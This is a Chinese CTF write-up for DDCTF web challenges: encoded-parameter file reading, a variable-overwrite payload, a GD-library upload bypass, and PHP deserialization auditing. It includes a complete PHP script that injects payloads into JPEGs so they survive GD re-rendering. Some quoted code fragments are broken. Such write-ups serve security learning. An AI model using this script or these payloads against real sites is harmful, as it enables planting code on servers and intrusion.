DDCTF-writeup

滴~

DDCTF-writeup_第1张图片
打开链接,很明显,url有提示,jpg的值是经过两次base64和一次hex编码后的结果,所以反向解码得到的结果为flag.jpg
DDCTF-writeup_第2张图片
本来想着是不是有php伪协议的漏洞,然后试着读取并没有读到什么有用的东西,所以直接就读取index.php试试,前提是把index.php给按照前面的规律编码一下,结果是

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

当作jpg的值传入,结果同样有一个图片,不过没有显示出来
在这里插入图片描述
查看页面源代码,很明显是一个图片经过base64编码后的结果,所以拿去在解码,解码时需要把上面带的前缀和后缀去掉,不然识别不出来是base64编码
DDCTF-writeup_第3张图片
解码的结果为

'.$_GET['jpg'].'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'
'; $file = str_replace("config","!", $file); echo $file.'
'; $txt = base64_encode(file_get_contents($file)); echo ""; /* * Can you find the flag file? * */ ?>

这里就有考验脑洞的地方了,这段代码里有一个CSDN的博客,它是有用的,还有日期,给出的文章链接只是承接部分,我们需要找到作者在7月4好4号的那篇文章,里面有提示。。。
这是链接

https://blog.csdn.net/fengbanliuyun/article/details/80913909

DDCTF-writeup_第4张图片
讲的是临时文件的知识点,所以我们就在链接后加上practice.txt.swp
会出现
DDCTF-writeup_第5张图片
而且我们之前读到的代码里有**$file = str_replace(“config”,"!", $file);**意思是把!替换成config
所以就按之前读取index.php的方法去读取flagconfigddctf.php
同样的,会读取到一段代码


这里有很明显的变量覆盖漏洞,解决方法就是构造如下的payload(把传入的参数置空就OK)

?uid=&k=

Upload-IMG

文件上传题目,先上传一张正常的照片
DDCTF-writeup_第6张图片
提示图片中未包含phpinfo()
DDCTF-writeup_第7张图片
所以我们用notepad++去加上phpinfo(),但是加上后还是会显示一样的错误信息,说明我们上传的信息应该是被过滤掉了。
我们把原先自己的图片的hex和上传过后的hex比较一下
DDCTF-writeup_第8张图片
DDCTF-writeup_第9张图片
多了gd的标志,说明有gd库渲染漏洞,用脚本跑一下
在这里插入图片描述
DDCTF-writeup_第10张图片
生成了一个新的payload图片,再上传就能得到flag了。。。
DDCTF-writeup_第11张图片
脚本如下

";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php ');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

签到题

点开题目链接,发现提示“抱歉,您没有登陆权限,请获取权限后访问-----”,先查看源代码,发现了“js/index.is”有提示
DDCTF-writeup_第12张图片
请求头中的参数"didictf_username"的值为空
DDCTF-writeup_第13张图片
根据题目“没有权限”,就构造值为admin,经过编辑和重发,发现返回了一个地址
DDCTF-writeup_第14张图片
访问app/fL2XID2i0Cdh.php是2个类的源代码
Application类和Application类的继承:Session类
审计源代码,发现Application类中有__destruct()魔术方法,说明有可能会用到PHP反序列化的内容.里面有一个对参数$path长度判断的一个if语句,还有文件包含,满足条件的话,返回Congratulations

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}

还有对路径的过滤,’…/‘和’…\'都被过滤了

private function sanitizepath($path) 
{
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

再继续对Session类审计

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
);
    }

以上代码显示,可能存在一个key.txt,但是访问config文件的话,显示权限不够

你可能感兴趣的:(安全,经验分享)